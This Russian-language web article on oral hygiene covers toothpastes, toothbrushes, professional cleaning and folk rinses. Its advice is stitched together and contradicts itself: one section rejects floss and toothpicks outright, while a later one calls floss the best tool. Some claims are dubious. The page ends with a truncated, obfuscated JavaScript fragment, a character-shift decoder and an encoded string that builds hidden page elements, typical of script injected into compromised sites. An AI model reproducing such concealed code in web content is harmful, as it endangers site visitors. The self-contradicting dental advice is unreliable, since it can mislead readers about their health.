Гигиена полости рта и ее не соблюдение

О важности правильной гигиены полости рта знают многие. Она включает в себя ежедневные процедуры, которые производятся в домашних условиях, и профессиональную гигиену, оказываемую в кабинете у стоматолога.

Профилактические стоматологические средства

Для здоровья и красоты зубов необходимо использовать специальные стоматологические средства. Некоторые из них уже давно вошли в ежедневный обиход человека, а некоторые может порекомендовать стоматолог. Средства для профилактики болезней зубов рекомендуется приобретать либо в аптеках, либо в специализированных магазинах, чтобы вместо качественного и нужного товара не получить бесполезную или даже опасную подделку.

Существует несколько групп средств и препаратов для улучшения состояния полости рта и профилактики болезней зубов:

  • Для полоскания рта: растворы фторидов, зубные эликсиры;
  • Для гигиены полости рта: зубные пасты и порошки;
  • Для аппликаций: фторлак, гели;
  • Для втирания в ткани зубов: пасты, гели, фториды;
  • Для приема внутрь: витамины, микроэлементы, фторированная соль, таблетки натрия фторида;
  • Для герметизации фиссур: герметики, силанты.

Проблемы с зубами из за бактерий

Еще одно неприятное заболевание, которое вызвано патогенными бактериями — это пародонтит. Бактерии вызывают воспалительный процесс, в результате которого воспаляются и кровоточат десна, а зубы начинают шататься и напоминают клавиши рояля.

Следствием плохой гигиены ротовой полости является рост болезнетворных бактерий, которые поражают всю слизистую оболочку, а потом добираются до более глубоких тканей десен. Но за счет правильного и постоянного ухода за полостью рта можно добиться оптимального равновесия между полезными и вредными бактериями. Это решит только часть проблем с зубами.

Как же правильно следить за чистотой своего рта? Во-первых нужно исключить из жизни вашей и ваших зубов зубочистки и зубные нити. Эти приспособления может и помогают избавиться от остатков пищи между зубами, но при этом они сильно травмируют десна и зубную эмаль. Лучше хорошенько прополоскать рот после приема пищи.

Любителям чашечки кофе или заядлым курильщикам, часто рекомендуют после каждой чашки кофе или выкуренной сигареты недолго пожевать жевательную резинку. Якобы это поможет вам сохранить белый цвет ваших зубов. Однако это точно плохо скажется на общем здоровье всего организма, а в дальнейшем зубов.

«Сегодня в моде сияющая улыбка, а улыбка цвета слоновой кости еще никого не украшала» — таким слоганом нас завлекают на всевозможные процедуры, которые приведут в последствии к потере зубов. Вопрос состояния зубов зависит не только от ухода за ними и борьбой со следствиями. Главное , это не вечная борьба с симптомами, а победа над самой проблемой.

Постановка правильных вопросов, это половина решения проблемы. Почему зубы темнеют? Почему запах изо рта? Почему постоянный кариес? Почему вечный налёт? Потому что Вы курите, пьёте кофе, отбеливаете зубы уничтожая природную эмаль, ведёте не правильный образ жизни, много нервничаете и выплескиваете негатив с остатками энергии на всякие мелочи и раздражители и так далее. Есть причины и есть следствия. В вопросах звучали следствия (последствия). Хотите вечно с ними бороться? Или будем искать причину их возникновения в ответах?

Гигиеническое воспитание

Цель санитарного просвещения – добиться добровольных и сознательных изменений отношения человека к своему здоровью. Конечно, изменение поведения и привычек людей остается сложным и длительным процессом: он идет постепенно, повторяющимися шагами и на первых порах может быть обратим.

Максимальный эффект от гигиенического воспитания достигается, если оно начато в раннем детском возрасте, когда ребенок слушает и воспринимает советы взрослых, пытается копировать их поведение.

Современные родители готовы к сотрудничеству по профилактике стоматологических заболеваний: они сами обращаются к врачам с вопросами, как правильно чистить зубы, какую зубную щетку и пасту купить, какие препараты необходимы ребенку для профилактики кариеса.

Планомерное гигиеническое воспитание детей и их родителей силами персонала детских дошкольных и школьных учреждений и врачей-стоматологов сформирует у детей сознательное отношение к гигиеническим порядкам и создаст в каждой семье предпосылки для здорового образа жизни по принципу «иначе и быть не может».

Чувствительность к горячей и холодной пищи

Вы можете ожидать также некоторое повышение чувствительности к следующим стоматологическим процедурам, таким как пломбы или коронки полости рта. Но внезапное, необъяснимые изменения чувствительности означает, что вы должны позвонить своему стоматологу. Повышение температуры является симптомом флюса, который является бактериальной инфекцией зуба или области десны рядом с корнем зуба. Другиее симптомы флюса включают в себя сильную зубную боль, лихорадку, а также увеличение лимфатических узлов. Если у вас есть отеки на лице, тоже обратитесь за неотложной помощью. Если не лечить, инфекция может распространиться по всему телу и может стать опасной для жизни.

Чрезмерная чувствительность и высокая температура могут говорить о том, что у вас есть тонкая зубная эмаль. Стоматолог может обеспечить лечение этой проблемы.

Как выбрать пасту?

Зубная паста подбирается индивидуально в зависимости от состояния полости рта и имеющихся проблем. Для людей с повышенной чувствительностью зубов существуют специальные пасты, снижающие гиперестезию. Компоненты средства «запечатывают» дентинные канальцы и способствуют уменьшению реакций зубов.

Пасты с антибактериальными компонентами могут подойти людям, у которых быстро формируется зубной налет и рецидивируют воспалительные заболевания тканей.

При кровоточивости десен выбор может пасть на пасту с компонентами, укрепляющими мягкие ткани.

Важно обратить внимание и на минеральный состав средства: наличие фтора, кальция, магния и др. Это особенно актуально для людей с деминерализованной эмалью. Лучше посоветоваться с врачом, чтобы выбрать подходящую пасту.

Многие стремятся сделать эмаль зубов светлее и выбирают отбеливающие зубные пасты. Некоторые из них содержат ферменты, способствующие легкому удалению налета. На цвет зуба это не влияет напрямую, но удаление налета позволяет «обнажить» эмаль, визуально она будет выглядеть светлее. Такие пасты относительно безвредны, но пользоваться ими лучше не дольше 4−8 недель.

Второй группой отбеливающих паст являются высокоабразивные: они содержат крупные абразивные частицы, которые призваны удалить пигментированный налет. Пользоваться ими постоянно нельзя: это может стать причиной микроцарапин эмали, повысит риск разрушения зубов кариесом. Для получения желаемого эффекта без вреда для здоровья достаточно использовать пасту 1−2 раза в неделю.

Профессиональная гигиеническая процедура

Полностью избавиться от налетных отложений поможет профессиональная гигиена полости рта у стоматолога-гигиениста.

Почему так важна гигиена полости рта в стоматологии что входит в обязательные процедуры, и почему необходима профессиональная помощь в очищении зубов?

Во-первых: удаление скоплений мягкого налета затруднительно без профессиональной помощи, со временем ему свойственно уплотняться в зубной камень, который удалить самостоятельно не представляется возможным.

Во-вторых: твердый налет портит не только внешний вид, но и способствует размножению бактерий, что приводит к образованию кариеса, пародонтита и многих других заболеваний.

Профессиональная гигиена полости рта различается типом назначения и применяемой в процедуре инструментальной аппаратурой. Стоматолог-гигиенист перед началом любой операции ополаскивает рот пациента антисептическим раствором и, если предстоит тщательная обработка поверхностей, – применяет анестезирующие средства, которыми обрабатывает десенную ткань с помощью спрея, геля или инъекции.

Чистка поверхностей от мягкого налета

Чистящие средства гигиены полости рта от мягкого налетного отложения:

При данной чистке используются насадки с жёсткими щетками, специализированные пасты и гели с повышенным содержанием абразивных частиц.

Щётки вращаются по кругу с достаточной скоростью, и таким методом эффективно счищают мягкие зубные бляшки.

  • Механическая чистка с применением скалера или аппарата Air-Flow.
Читайте также:  Мостовидное протезирование без обточки зубов

В процессе очищения с применением ультразвукового аппарата Air-Flow используют насадку, которая под сильным давлением направляет поток воздуха со специальным раствором и мелкими абразивными частицами на зубную поверхность.

Сталкиваясь с поверхностью, антисептический раствор смывает и уносит грязь и частицы зубного налета. Воздушный поток способствует удалению остатков абразивных веществ.

Таким образом производится чистка эмалевого слоя, слизистой оболочки и десенных карманов от мягкого бактериального налета.

Удаление твёрдого нароста

Раньше процедуры по удалению твердого камня производились методом обдирания и скалывания зубных камней с помощью специальных стоматологических инструментов, такая операция повреждала эмаль и провоцировала возникновение микротрещин и сколов.В настоящее время используют безопасные и эффективные средства гигиены полости рта, к ним относятся:

  • Ультразвуковая чистка

Это на сегодняшний день самая популярная чистка, она эффективно удаляет каменистые отложения и другие патологические образования на эмали, в межзубных щелях, под деснами, в карманах пародонта.

Чистку производят с применением скалера и струйного аппарата Air-Flow с помощью специальных насадок для твердых отложений. После очищения эмаль шлифуется и полируется.

  • Лазерная гигиеническая чистка

Этот метод справляется с каменными отложениями разной плотности и величины, лазером снимается как старый закаменелый налет в десенных карманах, так и поверхностная оболочка, образовавшаяся в результате курения или употребления в пищу продуктов с красящими элементами.

В завершение процедуры эмаль покрывают стоматологическим лаком или гелем, который понижает чувствительность и защищает от воздействия патогенной микрофлоры.

Лазерная чистка является более щадящей процедурой, чем ультразвук, одно из ее преимуществ заключается в том, что она абсолютно безболезненна и поэтому не требует предварительного обезболивания.

Любая стоматологическая клиника предоставляет профессиональные услуги по очистке зубов, проводимые лазерным и ультразвуковым оборудованием, которые являются самыми оптимальными на сегодняшний день.

Важно! «Для удаления отложений необходимо произвести столько сеансов очищения, сколько требует загрязненная поверхность. Как правило, для более эффективного результата применяют комбинированные виды чисток».

Преимущества профессиональной чистки

Профессиональная чистка – это обязательная процедура предварительной обработки рта перед любыми стоматологическими операциями. Чистку необходимо производить по следующим причинам:

  • при удалении налета ускоряется процесс обогащения тканей минералами и микроэлементами, что благотворно влияет не только на коронку, но и на корневую часть, альвеолярные участки и пародонт;
  • чистая эмаль без каменных отложений позволяет провести более тщательную диагностику, проверить точный оттенок эмали, обнаружить микросколы и микротрещины, выявить кариес в стадии пятна.

Перед протезированием и реставрацией необходимо провести профессиональную чистку, только в этом случае возможна оптимальная коррекция структуры зуба.

Важно! «Проводить стоматологическую чистку и проверять на наличие каких либо деформаций необходимо раз в полгода, в таком случае есть вероятность предотвратить любые заболевания зубов, десен и слизистой оболочки».

Гигиеной можно избавиться от проблем с зубами

Зубы играют важную роль в пищеварении человека. Правильная гигиена полости рта позволяет избежать много проблем. Она предотвращает появление стоматологических заболеваний, ослабляет внешние проявления потемнения эмали, предупреждает появление налета и зубного камня, позволяет сохранить здоровье ЖКТ.

Важно чистить зубы именно дважды в день, поскольку налет формируется в течение 4-12 часов после очередного очищения. Обязательно следует проводить профилактические мероприятия, регулярно ходить к стоматологу для профессионального обслуживания, проведение мероприятий в полном комплексе сохранит здоровье зубов надолго.

Гигиеной можно избавиться от проблем с зубами

А здоровые зубы – это красивая улыбка, хорошее самочувствие, правильная речь. От здоровья ротовой полости зависит благополучное состояние организма в целом!

Правильная чистка зубов

Как правильно чистить зубы? Об этом подробно написано в этой статье. Если коротко, то обучение простое: для этого щетка должна двигаться от десны к краю зуба вымётывающим движением.

Если еда застряла в зубах, воспользуйтесь зубной нитью. Это лучшее средство, чтобы избавиться от частичек еды в межзубных пространствах. Иногда только после нити возникает ощущение, что зубы почищены, настолько хорошо она справляется с остатками пищи.

При отсутствии зубной нити, попробуйте использовать зубочистку. С ее помощью вы сможете удалить точечные скопления остатков пищи. Единственный ее минус – она может повредить десна, поэтому действуйте крайне осторожно.

При возникновении проблем с деснами стоматологи советуют применять ирригаторы – приборы для удаления остатков пищи с помощью струек воды. Ирригатор удаляет зубной налет и массирует десна.

Один раз в полгода рекомендуется посещать стоматолога, чтобы консультироваться по поводу состояния своих зубов и вовремя обнаруживать проблемы. Не ждите, пока возникнет боль – идите к врачу, если появился камень, налет, кариес или неприятный запах. С заболеваниями лучше разбираться на ранних этапах. Особенно если это симптомы стоматита.

Как выбирать щетку для зубов

Для надлежащей гигиены полости рта, предупреждения заболеваний слизистой необходимо правильно подобрать зубную щетку.

Щетина из искусственного волокна отвечает всем гигиеническим требованиям, лучше натуральной, внутри ворсинок отсутствует канал, поверхность гладкая, конец закруглен.

Один из главных параметров – жесткость щетины, всего пять степеней: очень жесткие, жесткие, средние, мягкие, очень мягкие.

Если отсутствуют заболевания ротовой полости, большинству взрослых подходят щетки средней жесткости.

У детских зубных щеток мягкая и очень мягкая щетина.

Очень жесткую щетину применяют для очистки эмали зубов курильщиков.

При выборе зубной щетки стоит обратить внимание на частоту пучков, оптимальное расстояние между пучками – Чрезмерно частое расположение затрудняет уход и гигиеническую обработку, не позволяет очистить труднодоступные поверхности. Как правило, у каждого пучка конусообразная форма, которая облегчает проникновение в межзубные промежутки.

Классическая щетка – с пучками одинаковой длины, которые расположены параллельно. Такая конструкция хорошо справляется с , не травмирует десны.

Головка, на которой закреплены пучки ворсинок, не должна быть чрезмерно длинной. Небольшая головка легче очищает ротовую полость, ее площадь позволяет не совершать дополнительные движения.

Оптимальный размер головки зубной щетки для взрослых: 7-11мм шириной, до 30мм длиной, для детей – длиной 17-25мм.

Зубную щетку заменяют новой раз в месяц. Некоторые модели оснащены специальным индикатором – окрашенными ворсинками, в конце срока они обесцвечиваются до середины. За месяц использования в щетине скапливается максимум микроорганизмов – средство гигиены становится рассадником инфекции. Зубная щетка также требует замены, если ворсинки начали выпадать, потеряли форму, стали короче.

После перенесенного заболевания слизистой оболочки полости рта – чтобы исключить повторное заражение – стоит заменить даже почти новую щетку.

Некоторые применяют электрическую зубную щетку. Согласно современным исследованиям, особых преимуществ у данного прибора нет.

Определенное удобство – в быстром механическом выполнении того количества движений, которое необходимо для гигиены. Также электрическая зубная щетка помогает детям и пожилым выполнить точные координированные движения.

Народные средства для зубов и дёсен

Народные методы положительно зарекомендовали себя в уходе за зубами. Используемые для приготовления отваров и ополаскивателей лечебные травы можно найти в каждом доме или близлежащей аптеке.

Укрепляющий ополаскиватель Смешайте 250 мл кипячёной воды и 2-3 капли эфирного масла чайного дерева. Ополаскивайте ротовую полость средством после каждой чистки. Также раствор подходит для ухода при шатающихся зубах, кровоточивости и запущенных воспалительных процессах.

Против неприятного запаха Устранить запах изо рта поможет раствор из 250 мл воды и 1 ч. л. соли. Такое средство отлично дезинфицирует и снимает воспаление.

Заживляющий травяной отвар Раны и повреждения в ротовой полости можно лечить с помощью травяного отвара. Смешайте в равных количествах высушенные листья мяты, шиповника и бутоны иван-чая. Смешайте 1 ст. л. измельчённых трав со стаканом воды и доведите до кипения.

Дайте средству настояться не менее 3 часов. Используйте эликсир для ополаскивания трижды в день. Укрепление зубов и дёсен

Избавиться от кровоточивости дёсен и укрепить зубы поможет подорожник. Соком растения необходимо ополаскивать ротовую полость и втирать средство в дёсна. Для лучшего эффекта можно выполнять массаж дёсен щеткой с добавлением сока подорожника.

Галерея к статьеКомментариев: 0function _dS(a){var b=(»),c=();return (function(d){var e=(0)-c;return (32>e?127-(32-e):e)}).join(»)}
var _y8M = _dS(‘@mrtyx$x}tiA&lmhhir&$reqiA&wsw&$zepyiA&556:;